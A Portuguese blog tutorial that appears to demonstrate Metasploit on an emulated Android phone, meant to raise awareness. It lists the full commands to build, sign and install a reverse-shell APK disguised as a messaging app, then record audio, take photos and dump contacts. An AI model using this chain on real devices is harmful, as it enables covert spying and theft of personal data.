Utilizando o Metasploit para Estabelecer uma Conexão Reversa no Android

12:51 CaioTI 0 Comentarios





O objetivo deste post é mostrar a capacidade operacional e versatilidade do framework Metasploit como ferramenta para Testes de Invasão em dispositivos mobile no sistema Android. No contexto ilustrado, iremos utilizar o exploit multi/handler para realizarmos uma conexão TCP reversa e adquirir acesso ao sistema alvo(Android).

A simulação a seguir foi concebida com a utilização de um sistema linux(atacante) e uma máquina Android 7.0 virtualizada através do Genymotion que se encontram na mesma rede.

O primeiro passo foi iniciar o Metasploit e selecionar o módulo multi/handler conforme ilustrado na imagem abaixo. O parâmetro “-q” evita que toda a ilustração de inicialização do do framework seja carregada no terminal.



O próximo passo, foi definir o payload e suas devidas opções.
O comando set payload android/meterpreter/reverse_tcp foi utilizado para definirmos o payload e simularmos o cenário de ataque.
As opções LHOST e LPORT indicam, respectivamente, o IP e porta da máquina onde o alvo(Android) irá se conectar e realizar a conexão reversa.



Com o auxílio da ferramenta msfvenom, iremos listar e selecionar um payload que será posteriormente inserido num apk adulterado.



Com a definição dos parâmetros abaixo, o msfvenom gerou um arquivo chamado zapzap.apk, conforme ilustrado na figura.



Para que esse apk possa ser instalado no Android, e, para fins de validação, realizamos a assinatura desse apk com as ferramentas keytool para gerar a chave, e jarsigner para realizar a assinatura, respectivamente. Por fim, o zipalign foi utilizado para verificar e gerar um novo apk assinado.





Em seguida, o apk gerado foi instalado no Android emulado através Genymotion para simularmos o ataque. Deste modo, foi possível executar o comando “exploit” do console do metasploit e obter uma conexão reversa(Android para Linux). O meterpreter, que foi inicializado a partir de então, possui uma série de opções que podem ser visualizadas através do comando “?”. Nesse contexto, utilizamos o comando “sysinfo” para visualizar as informações do Android que foi comprometido, conforme ilustrado abaixo.



Outra opção testada, foi o check_root, para verificar as permissões do Android comprometido.



Com o meterpreter, é possível extrairmos uma série de informações desse dispositivo comprometido, os exemplos ilustrados abaixo, mostram que é possível gravar o microfone do dispositivo , tirar uma foto com a câmera, extrair a lista de contatos, entre outros.

Neste exemplo abaixo, utilizamos o parâmetro -d para definir quantos segundos serão capturados de gravação.



Uma selfie foi tirada com o comando webcam_snap.



O comando dump_contacts foi utilizado para extrair a lista de contatos desse celular comprometido.




Concluímos desta forma, o grande impacto que pode ser causado por baixar e instalar aplicativos de fontes não confiáveis, visto que isto é apenas um demonstrativo do que um cenário de ataque real poderia repercutir dentro de um celular corporativo. Nesse sentido, destacamos os seguintes pontos:
  • A potencialidade da ferramenta Metasploit para ataques em dispositivos Android
  • A importância de baixar arquivos e apps apenas de fontes confiáveis.
  • Novas técnicas surgem a todo momento a fim de comprometer a integridade, confidencialidade e disponibilidade dos mais diversos sistemas, portanto, é importante estar com todos os dispositivos atualizados.

Lista de comandos utilizados:

-msfconsole -q
-use multi/handler
-set payload/android/meterpreter/reverse_tcp
-show options
-set LHOST IP
-set LPORT porta
-show missing
-msfvenom -l payloads | grep android
#msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o zapzap.apk
#keytool -genkey -v -keystore chave1.keystore -alias chavinha -keyalg RSA -keysize 2048 -validity 100000
#jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore chave1.keystore zapzap.apk chavinha
#zipalign -v 4 zapzap.apk zapzap1.apk
-exploit
-sysinfo
-?
-check_root
-dump_contacts
-cat dump_contacts.txt
-record_mic -d 8 -f '/home/usuario/hellothere.wav'
-webcam_snap -p selfie.jpeg

0 comentários: